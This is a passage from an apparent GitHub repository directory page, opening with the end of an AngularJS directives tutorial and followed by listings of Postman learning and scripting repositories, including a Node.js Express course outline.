firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
Inn4ki/chatapp
admin, application, applications, auth, chat, completed, computer, course, debug, debugging, design, designed, engine, file, files, form, format, included, including, lang, language, learn, learned, learning, lesson, logging, middleware, parameter, passing, passport, program, programming, protecting, quality, query, rating, route, router, routes, sets, speed, sync, training, tutorial, user, users, validation, video, web app 		NODE.JS WEB APPS WITH EXPRESS by Wes Higbee In this Node.js Web Apps with Express training course, expert author Wes Higbee will teach you how to create web applications and APIs with Express. This course is designed for users that are already familiar with HTML, CSS, and JavaScript. You will start by learning how to set up a web app, then jump into learning about the Jade view engine. From there, Wes will teach you about CRUD, including how to add the chat room view, respond with JSON, and edit chat rooms. This video tutorial also covers routers, middleware, APIs, and logging and debugging. Finally, you will learn about auth with passport, including passport user validation, protecting admin routes, and query string parameters. Once you have completed this computer based training course, you will have learned how to create web applications and APIs with Express. Working files are included, allowing you to follow along with the author throughout the lessons. About the Publisher Presented in stunning HD quality, the Infinite Skills range of video based training provides a clear and concise way to learn computer applications and programming languages at your own speed. Delivered to your Desktop, iPad ... More about Infinite Skills Table of Contents Setting Up A Web App What You Will Learn 00:03:28 About The Author 00:01:23 Project Setup 00:02:14 Spinning Up Our Server From Scratch 00:05:11 Serving Index.HTML 00:04:32 Serving Bootstrap Assets 00:05:52 Styling Our Site 00:01:16 How To Access Your Working Files 00:01:15 The Jade View Engine Why View Engines? 00:02:10 The Jade View Engine 00:06:32 HTML Tags In Jade 00:02:16 Attributes Classes And Ids In Jade 00:02:06 Serving Up Jade Views 00:04:24 HTML Reuse In Jade 00:06:26 Code In Jade Views 00:02:37 Passing Data To View Rendering 00:02:01 Setting A Default View Engine 00:00:37 String Interpolation In Jade 00:02:30 Generating Tables In Jade 00:03:50 Tabs And Spaces Oh My 00:01:21 Demystifying Jade 00:02:21 Crud Setting The Stage 00:01:01 Add Chat Room View 00:04:21 Post Chat Room Form 00:06:56 Parsing Form Data From The Request Body 00:04:22 Responding With JSON 00:03:20 Admin Chat Rooms Workflow 00:02:21 Named Route Parameters To Delete Rooms 00:05:59 Edit Chat Rooms 00:06:01 Edit Chat Rooms Part - 2 00:02:00 Responding With 404 Not Found 00:01:39 Wrap Up 00:01:23 Routers Extracting An Admin Module 00:04:47 Modular Admin Router 00:04:00 Pluggable Admin Mount Path 00:03:15 Stumbling Block - Relative Redirects 00:02:49 Chaining Routes 00:01:57 Middleware Understanding Routing And Middleware 00:05:45 Adding Custom Logging Middleware 00:02:15 Understanding Next() 00:01:31 Middleware To Fetch Data 00:07:24 Order Matters.Av 00:01:09 Scoping Middleware 00:03:53 What To Do With Errors 00:03:01 Last Thoughts 00:03:19 APIs A Client Side Chat App 00:01:55 Setup The Client Side Chat App 00:03:01 Creating An API 00:05:42 Modules Are Singletons 00:01:50 Postman To Test API 00:01:24 API Get Room Messages 00:05:49 Posting To An API 00:03:37 API To Delete Messages 00:03:15 Parsing JSON In The Request Body 00:03:25 Logging And Debugging Express-Debug 00:03:03 Logging With Morgan 00:01:45 File Access Log With Morgan 00:01:28 Built-In Express Debugging 00:01:57 When Things Go Wrong Throwing An Error In A Route Handler 00:01:39 Errors In Production 00:01:53 Custom Error Handlers 00:02:40 Browser Hangs 00:00:58 Hanging Async Request Handlers 00:01:17 Errors In Callbacks 00:03:32 Don't Swallow Callback Errors 00:02:46 Auth With Passport Auth With Passport 00:01:49 Login Form 00:06:31 Passport User Validation 00:05:20 Passport Session Serialization 00:01:49 Logging In 00:06:23 Logout 00:03:52 Authorizing Access To Block Anonymous Users 00:03:40 Protecting Admin Routes 00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
learn-co-curriculum/apis-and-postman
description, learn, script 		No description available. 0 stars 0 watchers 11 forks
twilio/wireless-postman-collection
collection, form, format, group, includes, learn, twilio 		This repository includes a group of Programmable Wireless HTTP requests for your convenience. You can learn more about Programmable Wireless HTTP request formats in the Programmable Wireless Documentation. 0 stars 0 watchers 11 forks
SAP-samples/data-attribute-recommendation-postman-tutorial-sample
client, data, dataset, example, learn, learning, machine, sample, samples, service, tutorial 		Sample code and dataset example for anyone who wants to try out the data attribute recommendation machine learning service using a REST client. 1 stars 1 watchers 1 forks
knaxus/the-deeplearning-bot
action, endpoint, endpoints, intelligent, learn, learning 		A intelligent bot made using NLP and Deep Learning with API endpoints for interaction. 0 stars 0 watchers 3 forks
SAP-samples/service-ticket-intelligence-postman-collection-sample
collection, consume, enable, enables, environment, learn, learning, machine, sample, samples, service, template, ticket, user, users 		A Postman collection and environment template that enables users to consume the Service Ticket Intelligence machine learning service. 0 stars 0 watchers 3 forks
AndriiStepura/letslearnapitesting
apitest, learn, presentation, test, testing, tool, tools 		Repo for API testing presentation, based with postman tools 0 stars 0 watchers 2 forks
aditya-sridhar/learn-springboot
boot, learn, spring, spring boot, springboot 		Sample Application having Basic spring boot Setup with GET and POST Request and a POSTMAN Collection for the same 1 stars 1 watchers 0 forks
cstull2/learn-from-travisci-danny
example, github, learn, travis, travisci 		using DannyDainton's github project for postman-travisci-example 0 stars 0 watchers 1 forks
JohnArg/MongoDBTutorial
assert, assertion, course, creation, learn, learning, result, test, testing 		(Learning Project) The code from a course while learning MongoDB with Node/Express. The result is the creation of a simple REST API using Mongoose and Postman for testing. Mocha, Expect and Supertest were also used for assertions. 0 stars 0 watchers 0 forks
fastneasylearning/postman
description, learn, learning, script 		No description available. 0 stars 0 watchers 0 forks
learn-co-curriculum/phrg-apis-and-postman
description, learn, script 		No description available. 0 stars 0 watchers 0 forks
ryanhs/learn-laravel-passport
laravel, learn, passport 		learn laravel-passport with postman 0 stars 0 watchers 0 forks
SatishRVenkat/learning_usage_of_postman
description, learn, learning, script 		No description available. 0 stars 0 watchers 0 forks
smukkiri/Postman-learnings
description, learn, learning, script 		No description available. 0 stars 0 watchers 0 forks
tarunarora1667/learning_postman
description, learn, learning, script 		No description available. 0 stars 0 watchers 0 forks
xindanning/learn-postman
description, learn, script 		No description available. 0 stars 0 watchers 0 forks
AbrahamDN/RESTful-API
intended, learn 		A simple ReST API I used to learn REST. This is intended to be used with the Postman app. 0 stars 0 watchers 0 forks
afreendin/DockerFlaskPythonMySQLPycharm
assignment, free, home, homework, learn, setup 		This project is a homework assignment to learn how to get Pycharm setup with Docker, Flask, MySQL, and Postman. 0 stars 0 watchers 0 forks
andersonBrunu/Aprendendo-o-Basico-do-SpringBoot
banco, data, database, eclipse, learn, learning, to do, understanding 		Pequeno Projeto com SpringBoot com Jave usando a IDE eclipse. não contem front-end é apenas para o entendimento e começo de aprendizagem. usei o postman para fazer as requisições. possui integração com banco de dados MYSQL.. . . . . . . . . . .Small Project with SpringBoot with Jave using an eclipse IDE. does not contain front-end is only for the understanding and beginning of learning. use the postman to do as requisitions. Integration with MYSQL database. 0 stars 0 watchers 0 forks
ankit0305/Postman-Scripts
learn, learning, script, scripts, tool 		These are the scripts I have made while learning Postman tool. 0 stars 0 watchers 0 forks
ashwinies/learning-program
boot, learn, learning, program, reference, rest, rest service, sample, service, services, spring, spring boot 		sample project on spring boot, rest services using postman on reference Genomes 0 stars 0 watchers 0 forks
aymkin/track-server
auth, authorization, cloud, course, error, express, handling, hashi, http, https, learn, middleware, native, react, redux, server, track, udemy 		Back-end for Front-enders, за два часа можно просмотреть как с минимум усилий: установить express написать 4 эндпоинта подключить к MongoDB cloud базовое использование Postman что такое схемы и модели (Mongoose) зачем нужен JWT (Json Web Token) + как его имплементировать в проект что значит натереть и присолить пароль (salting and hashing password) и почему это по проавославному как ограничить доступ к данным не авторизированным пользователям (middleware authorizationRequire) обработка потенциальных ошибок (error handling) уроки 165-186 https://www.udemy.com/course/the-complete-react-native-and-redux-course/learn/lecture/15707662 0 stars 0 watchers 0 forks
beata-krasnopolska/TodoApi
class, controller, data, database, learn, method, methods, model, path, routing, tutorial 		The project made on according to the tutorial: Create a web API with ASP.NET Core. It allowed to learn how to create a web API project, Add a model class and a database context, Add a controller, Add CRUD methods, Configure routing and URL paths, Specify return values, Call the web API with Postman. 0 stars 0 watchers 0 forks
benweese/Postman
learn, learning, practicing, teaching 		This is for API Testing practicing, learning, and teaching. 0 stars 0 watchers 0 forks
BijivemulaPraveenReddy/nodejs-REST_API
array, json, learn, node, nodejs 		Here we are going to learn how to GET,POST,UPDATE,DELETE an json array using POSTMAN 0 stars 0 watchers 0 forks
bobend212/WebAPI-Project-Designer
learn, struct, structure, workflow 		API created to learn and become familiar with .Net Core API structure and Swagger/Postman workflow. 0 stars 0 watchers 0 forks
brunopacheco1/learning-elasticsearch
document, documentation, elastic, elasticsearch, learn, learning, search 		Reading and Learning Elastic Search documentation and applying it on Java, Node.js and Postman. 0 stars 0 watchers 0 forks
Collins-Kareri/postman
backend, learn, learning 		learning the backend 0 stars 0 watchers 0 forks
Cuthbert20/learning-node-day-2
learn, learning, node 		Going over get, put, delete. Using Postman 0 stars 0 watchers 0 forks
darhyur/U4diesel
learn, learning 		learning postman 0 stars 0 watchers 0 forks
DiaconuDan/Cars
boot, learn, learning 		Kata Springboot. Patterns: Repository, Service, API Design. DI/IoC: Hibernate. Testing an API with Postman. Use: learning purposes. 0 stars 0 watchers 0 forks
dster05/Postman-weather
learn, learning, site, weather, website 		learning to apis for a website project 0 stars 0 watchers 0 forks
e-cro/RestaurantRater2
learn, learning, test 		A practice API for learning how to build API and test with Postman 0 stars 0 watchers 0 forks
ericksondevs/XamarinLandsProject
course, devs, github, learn, learning 		Test project learning in a xamarin course using github and postman. 0 stars 0 watchers 0 forks
FredDsR/PostManager
learn, learning, node 		A simple CRUD for learning node.js 0 stars 0 watchers 0 forks
GenyaTSL/API-Postman
course, learn, learning 		learning course 0 stars 0 watchers 0 forks
hatoriz/selflearning_postman
html, http, https, learn, learning, tutorial 		https://www.guru99.com/postman-tutorial.html 0 stars 0 watchers 0 forks
itanvir/mlapi
learn, learning, machine 		A machine learning API using Flask and Postman 0 stars 0 watchers 0 forks
jaroslawjusiak/UserManager
learn, learning 		Simple API project for learning Postman 0 stars 0 watchers 0 forks
julielearncoding/PageObjectWithPageFactories
actor, coding, learn, test 		This is a test repository created by Postman 0 stars 0 watchers 0 forks
kabanon/learning-elastic-search
elastic, learn, learning, search 		You Know, for Search 0 stars 0 watchers 0 forks
kiticgoran90/rest-api-crud-app
crud, learn, learning, rest 		Student project, REST API CRUD app, learning Spring MVC, Spring REST, Hibernate ORM, JSON, MySQL, Maven, Postman... 0 stars 0 watchers 0 forks
KrisKamau/crm-backend
backend, learn, tutorial 		A small backend I made with the help of a tutorial to learn about creating RESTful APIs with Node, Express, MongoDB and Postman 0 stars 0 watchers 0 forks
laarchambault/postman_lesson
learn, lesson 		for trying the postman excercise at learn.co 0 stars 0 watchers 0 forks
lensuzukilayhe/learning-git-newman-jenkins
bash, file, github, jenkins, learn, learning, link, newman, push 		i will be learning how to use API's with github through git bash, linking from file to file, pushing it through jenkins, from Postman 0 stars 0 watchers 0 forks
lilarkin/api_practice
learn, learning, scratch 		learning how to create an API from scratch with Node.js, MongoDB, and Postman. 0 stars 0 watchers 0 forks
LockeReed/knex-lesson
api blueprint, asyncapi, json schema, knex, learn, learning, lesson, oauth, openid, postgres, postgresql, sql 		learning postgresql, knex, postico, postman 0 stars 0 watchers 0 forks
ManpyRana/postman-newman-jenkins
jenkins, learn, learning, newman 		learning 0 stars 0 watchers 0 forks
martinezmatias0902/Backend-Practices
learn, learning 		Backend Introduction, I'm learning how to work with NodeJS, Express, Nodemon, PHPMyAdmin, Postman, MongoDb and MySQL 0 stars 0 watchers 0 forks
Mregussek/rest-api-server
learn, rest, server, software 		Trivial REST API software, you can easily learn its capabilities 0 stars 0 watchers 0 forks
neshoj/postbaby
electron, learn, postwoman 		When creating this, Postman kept requesting me to upgrade my postman v6.X and it kept going in circles, i found out there is postwoman.io and i wanted to learn electron. So here we are 0 stars 0 watchers 0 forks
netexlearningtechnologies/WSPlay
learn, learning, technologies, test 		Project to launch Play WS to test by Postman and Travis CI 0 stars 0 watchers 0 forks
PasanTestAutomation/Postman
learn, learning 		This is for the purpose for learning postman with git 0 stars 0 watchers 0 forks
peacetrue/learn-postman
learn 		学习postman 0 stars 0 watchers 0 forks
r1990v/Postman_LearnAPI
learn, learning, postman scripts, script, scripts 		This repo contains postman scripts for learning purposes. 0 stars 0 watchers 0 forks
ragizaki/ConsultED
backend, chat, design, designed, future, learn, model, options, software, student, test, tests 		FAQ chatbot designed to help secondary students better learn of their post-secondary options. The model tests the accuracy of responses and incorporates them in the future. Postman software was used, and called the Genesys API to create the backend of the chatbot. 0 stars 0 watchers 0 forks
ram0007raju/learning
github, learn, learning 		learning github and postman 0 stars 0 watchers 0 forks
RsRuman/MyBlog
learn, learning, system, to do 		This is a simple REST API PHP project where I implemented CRUD system using raw PHP(OOP). I used postman to do this. For learning purpose I did this project. 0 stars 0 watchers 0 forks
sangwan-ankit/Backend-
learn, simplest, test 		Here we are going to learn how to create API in simplest way and test that API using Postman. 0 stars 0 watchers 0 forks
sayak119/fashion-mnist-flask
flask, learn, learning, machine, model, models 		PoC to serve machine learning models using flask 0 stars 0 watchers 0 forks
Sdlearning/PostmanTest
learn, learning, test 		Postman test 0 stars 0 watchers 0 forks
Shushan91/Http-Calls
learn, learning, selenium, to do 		learning how to do calls with the selenium and postman 0 stars 0 watchers 0 forks
Sovenatko/Postman-Trial-Repository
learn 		The one I need to learn how to use Postman 0 stars 0 watchers 0 forks
stanhordiyenko/go-localapi
golang, lang, learn, local, locally, service, tool 		This is a small golang API service that can be run locally to learn how to interact with it in Postman on the like tool. 0 stars 0 watchers 0 forks
tani-tani/postman_trello-try
collection, collections, learn, test, trello 		I may delete this repo in a half year but for now I feel exciting about this little experience I had with Postman and Trello API. I learnt how to create requests, test them and run collections and it's awesome @[email protected] 0 stars 0 watchers 0 forks
thebers/AU2018_AutodeskForgeNewB_Mod1_Postman
learn, program, tutorial 		1st tutorial for helping non-programmers learn Autodesk Forge, focused on using Postman to make calls 0 stars 0 watchers 0 forks
VienneW/postman
learn, learning 		learning how to use postman 0 stars 0 watchers 0 forks
wesjones15/learning-apis-sql
api blueprint, asyncapi, json schema, learn, learning, oauth, openid, sql 		Python, APIs, SQL, Postman, Docker 0 stars 0 watchers 0 forks
yarepka/light-wikipedia
learn, learning, light, send, to do, wiki, wikipedia 		It's a really small project for learning how to do RESTful API's, sending requests through the Postman app 0 stars 0 watchers 0 forks
Zahermah/GamingShop
learn, learning, node 		Building a shop for fun using postman request and learning node.js and trying MongoDB 0 stars 0 watchers 0 forks

scripts (72 listings) (Back to Top)

rupeshmore/dakiya
collection, collections, convert, converts, dakiya, script, scripts, test, testing, tool 		Dakiya: converts Postman collections to load testing tool scripts 25 stars 25 watchers 6 forks
jivanim/cs122b-tests
newman, script, scripts, test, tests 		Postman (newman) test scripts for HWs 0 stars 0 watchers 8 forks
RudiShumpert/postman-collection
collection, leverage, script, scripts 		A Postman collection of scripts to leverage the Launch, by Adobe API's 2 stars 2 watchers 0 forks
gep13/appveyor-postman
postman scripts, script, scripts, usable 		A set of re-usable postman scripts for working with the AppVeyor API 1 stars 1 watchers 1 forks
corozina-19/postman-scripts
description, script, scripts 		No description available. 0 stars 0 watchers 3 forks
rafaelaazevedo/Janger
file, integration, jenkins, kubernetes, postman scripts, script, scripts 		Project containing postman scripts with jenkins file and kubernetes integration 1 stars 1 watchers 1 forks
jiereal/pmdoc
comments, postman scripts, script, scripts, writing 		writing postman scripts in js comments 1 stars 1 watchers 0 forks
PratikshaRepo/Postman
script, scripts 		Test scripts on API Automation using Postman 1 stars 1 watchers 0 forks
digipolisantwerp/common-api-tests_js
common, file, script, scripts, test, tests 		Bundled of the most commonly used Postman test scripts in one JavaScript file. 0 stars 0 watchers 2 forks
nelsoni2/F5_iWorkflow_REST_API_Commands
script, scripts 		POSTMAN Collections and Javascript/Python scripts for the F5 iWorkflow REST API 0 stars 0 watchers 2 forks
ashwanikumar04/postman-collections-scripts
collection, collections, json, script, scripts, segregated 		This shows the usage to update segregated scripts from collections json and then merge them using gulp 0 stars 0 watchers 1 forks
tutagomes/Postman-Testing
data, script, scripts, store, test, testing, tutorial 		A repository to store some data and testing scripts used by my tutorial about postman testing. 0 stars 0 watchers 1 forks
AlexNDRmac/postman_asserts
api blueprint, assert, asyncapi, json, json schema, oauth, openid, postman tests, reusable, schema, script, scripts, sql, test, tests, usable, validation 		Tiny scripts for Postman Auto tests (reusable Assertions for postman tests and json schema validation) 0 stars 0 watchers 1 forks
bbmorten/tetration-postman
access, sample, script, scripts, setting, settings 		Environment settings, pre-request script, and sample Postman scripts for accessing the Tetration API 0 stars 0 watchers 1 forks
DIPSAS/EhrStore.Postman
postman scripts, script, scripts, server, test, verify 		Some postman scripts to test and verify the features of an openEHR server 0 stars 0 watchers 1 forks
matt-ball/postman-cli
client, development, facilitate, local, script, scripts 		A client to facilitate local development of scripts for Postman 0 stars 0 watchers 1 forks
flascelles/synthetic-API-traffic-generation
collection, collections, general, generate, generation, model, models, postman collection, postman collections, script, scripts, traffic, training 		scripts and postman collections to generate synthetic api traffic for training ML models and general purposes 0 stars 0 watchers 0 forks
electrumpayments/money-transfer-retailer-test-pack
implementation, implementations, money, payment, retail, script, scripts, server, test, testing 		Test server and Postman scripts for testing Money Transfer Retailer Interface implementations 0 stars 0 watchers 0 forks
nsubrahm/openshift-demo-postman
opens, openshift, script, scripts, test 		Postman scripts to test the OpenShift demo 0 stars 0 watchers 0 forks
ahmedramez/postman-scripts
description, script, scripts 		No description available. 0 stars 0 watchers 0 forks
CAcevedoSoria/scripts-and-postman-tests
description, script, scripts, test, tests 		No description available. 0 stars 0 watchers 0 forks
electrumpayments/airtime-service-test-pack
implementation, implementations, payment, script, scripts, server, service, test, testing 		test server and Postman scripts for testing Airtime Service Interface implementations 0 stars 0 watchers 0 forks
gagandelouri/f5-gd-postman-scripts
description, script, scripts 		No description available. 0 stars 0 watchers 0 forks
jeffpriz/get-postman-scripts
description, script, scripts 		No description available. 0 stars 0 watchers 0 forks
Lau-Ren/postman-pre-request-scripts
description, script, scripts 		No description available. 0 stars 0 watchers 0 forks
mobbr/mobbr-api-tests
endpoint, script, scripts, test, testing, tests 		POSTMAN-scripts for API endpoint testing. 0 stars 0 watchers 0 forks
PallaviGajelliElsevier/postman-scripts
description, script, scripts 		No description available. 0 stars 0 watchers 0 forks
steven-jones-topgolf/postman-scripts
description, script, scripts 		No description available. 0 stars 0 watchers 0 forks
sureshnath/postman-global-scripts
description, script, scripts 		No description available. 0 stars 0 watchers 0 forks
TAMULib/postman-scripts
description, script, scripts 		No description available. 0 stars 0 watchers 0 forks
weverton-silva/scripts-postman
description, script, scripts 		No description available. 0 stars 0 watchers 0 forks
abhinavrohatgi30/misc-scripts
script, scripts, store 		A repository to store miscellaneous scripts 0 stars 0 watchers 0 forks
agnes1991/ptl
file, files, postman scripts, script, scripts 		postman scripts to locust files 0 stars 0 watchers 0 forks
Anirban-Talukder/POSTMAN
automat, automation, script, scripts 		Having all the automation scripts of POSTMAN 0 stars 0 watchers 0 forks
ankit0305/Postman-Scripts
learn, learning, script, scripts, tool 		These are the scripts I have made while learning Postman tool. 0 stars 0 watchers 0 forks
avin3sh/postmanHacks
related, script, scripts 		NodeJS scripts related to Postman 0 stars 0 watchers 0 forks
basaeed/postman-scripts
script, scripts 		vADC scripts 0 stars 0 watchers 0 forks
BitBrew/bbhub-postman
form, initial, platform, script, scripts, select, setup 		Postman scripts for select platform APIs, to aid in initial setup. 0 stars 0 watchers 0 forks
CallanHP/oci-api-signing-postman-collection
collection, form, implements, require, required, script, scripts, signing 		This Postman collection implements pre-request scripts to perform the signing required to invoke the OCI APIs. 0 stars 0 watchers 0 forks
cboiam/postman-test-scripts-poc
automat, automate, automated, pre request, script, scripts, test 		Poc of the automated pre request scripts and test scripts in postman 0 stars 0 watchers 0 forks
ces-hackathon/API
document, documentation, hackathon, mock, script, scripts, server, test 		Postman API documentation for creating mock server API and postman test scripts 0 stars 0 watchers 0 forks
chit786/UFT_PostMan_Driver
command, command line, integration, river, script, scripts, test 		Full integration of HP UFT with Newman test scripts using command line 0 stars 0 watchers 0 forks
compmonk/zumi
script, scripts 		Installer scripts for Ubuntu and derivatives 0 stars 0 watchers 0 forks
Dasarimounika/API_Scripts_Postman
assignment, script, scripts 		ComeOn assignment for API scripts using postman 0 stars 0 watchers 0 forks
diganta1493/Postman
script, scripts 		Postman Automation scripts 0 stars 0 watchers 0 forks
flaviostutz/postman-runner
environment, environments, integration, local, runner, running, script, scripts, test, tests, tool, tools 		Container with tools for running Postman scripts for integration tests on local or CI environments 0 stars 0 watchers 0 forks
FrankSanCo/ServiciosPostmanAutomation
automat, automatizados, script, scripts 		scripts automatizados 0 stars 0 watchers 0 forks
h-parekh/postman_utils
collection, script, scripts, util, utils 		A collection of scripts to work with postman 0 stars 0 watchers 0 forks
Hot-Tomali/postman_scripts
evaluation, execution, script, scripts 		Scripts for evaluation and execution in Postman 0 stars 0 watchers 0 forks
ibrsp/dataentry-api-postman-collection
collection, data, postman scripts, script, scripts, usable 		A set of re-usable postman scripts for working with the Dataentry API 0 stars 0 watchers 0 forks
joezersk/Postman
script, scripts 		Repo for my various Postman scripts so I can share with others 0 stars 0 watchers 0 forks
lposs/postman-scripts
bunch, customer, customers, endpoint, endpoints, find, partner, partners, script, scripts, support, supported 		A bunch of Postman scripts that partners and customers may find useful in exercising AM's REST endpoints. They are provided "as is" and are unsupported. 0 stars 0 watchers 0 forks
luoxiaojun1992/pm-scripts
postman scripts, script, scripts 		postman scripts 0 stars 0 watchers 0 forks
mastermalone/bundle_runner_files
bundle, file, files, json, runner, runners, script, scripts 		Bash scripts to create .json files used for Postman runners 0 stars 0 watchers 0 forks
multimac/data-driven-postman
data, drive, driven, running, script, scripts, series, test, tests 		A series of scripts for running data-driven tests using Postman 0 stars 0 watchers 0 forks
nelsonvt/iex-postman-scripts
check, client, notify, script, scripts, stock, user, users 		(BETA) This repository contains scripts for the Postman client to check stock prices and notify users when they exceed / fall below desired values. 0 stars 0 watchers 0 forks
NetworkLife/Cisco-ACI-Postman
script, scripts 		Postman scripts 0 stars 0 watchers 0 forks
